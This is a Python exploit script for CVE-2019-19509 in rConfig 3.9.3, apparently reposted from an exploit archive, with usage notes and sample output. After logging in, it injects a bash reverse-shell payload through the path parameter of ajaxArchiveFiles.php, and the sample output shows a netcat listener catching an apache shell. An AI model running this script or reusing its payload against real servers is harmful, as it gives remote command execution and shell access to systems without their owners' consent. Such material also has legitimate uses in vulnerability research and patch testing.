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## https://sploitus.com/exploit?id=PACKETSTORM:156146
# Exploit Title: rConfig 3.9.3 - Authenticated Remote Code Execution  
# Date: 2019-11-07  
# CVE-2019-19509  
# Exploit Author: vikingfr  
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)  
# Software Link : http://files.rconfig.com/downloads/scripts/centos7_install.sh  
# Version: tested v3.9.3  
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24  
#  
# Notes : If you want to reproduce in your lab environment follow those links :  
# http://help.rconfig.com/gettingstarted/installation  
# then  
# http://help.rconfig.com/gettingstarted/postinstall  
#  
# $ python3 rconfig_CVE-2019-19509.py https://192.168.43.34 admin root 192.168.43.245 8081  
# rconfig - CVE-2019-19509 - Web authenticated RCE  
# [+] Logged in successfully, triggering the payload...  
# [+] Check your listener !  
# ...  
# $ nc -nvlp 8081  
# listening on [any] 8081 ...  
# connect to [192.168.43.245] from (UNKNOWN) [192.168.43.34] 34458  
# bash: no job control in this shell  
# bash-4.2$ id  
# id  
# uid=48(apache) gid=48(apache) groups=48(apache)  
# bash-4.2$   
  
#!/usr/bin/python3  
  
import requests  
import sys  
import urllib.parse  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
print ("rconfig - CVE-2019-19509 - Web authenticated RCE")  
  
if len(sys.argv) != 6:  
print ("[+] Usage : ./rconfig_exploit.py https://target username password yourIP yourPort")  
exit()  
  
target = sys.argv[1]  
username = sys.argv[2]  
password = sys.argv[3]  
ip = sys.argv[4]  
port = sys.argv[5]  
payload = '''`bash -i>& /dev/tcp/{0}/{1} 0>&1`'''.format(ip, port)  
  
request = requests.session()  
  
login_info = {  
"user": username,  
"pass": password,  
"sublogin": 1  
}  
  
login_request = request.post(  
target+"/lib/crud/userprocess.php",  
login_info,  
verify=False,  
allow_redirects=True  
)  
  
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)  
  
if dashboard_request.status_code == 200:  
print ("[+] Logged in successfully, triggering the payload...")  
encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))  
print ("[+] Check your listener !")  
exploit_req = request.get(encoded_request)  
  
elif dashboard_request.status_code == 302:  
print ("[-] Wrong credentials !")  
exit()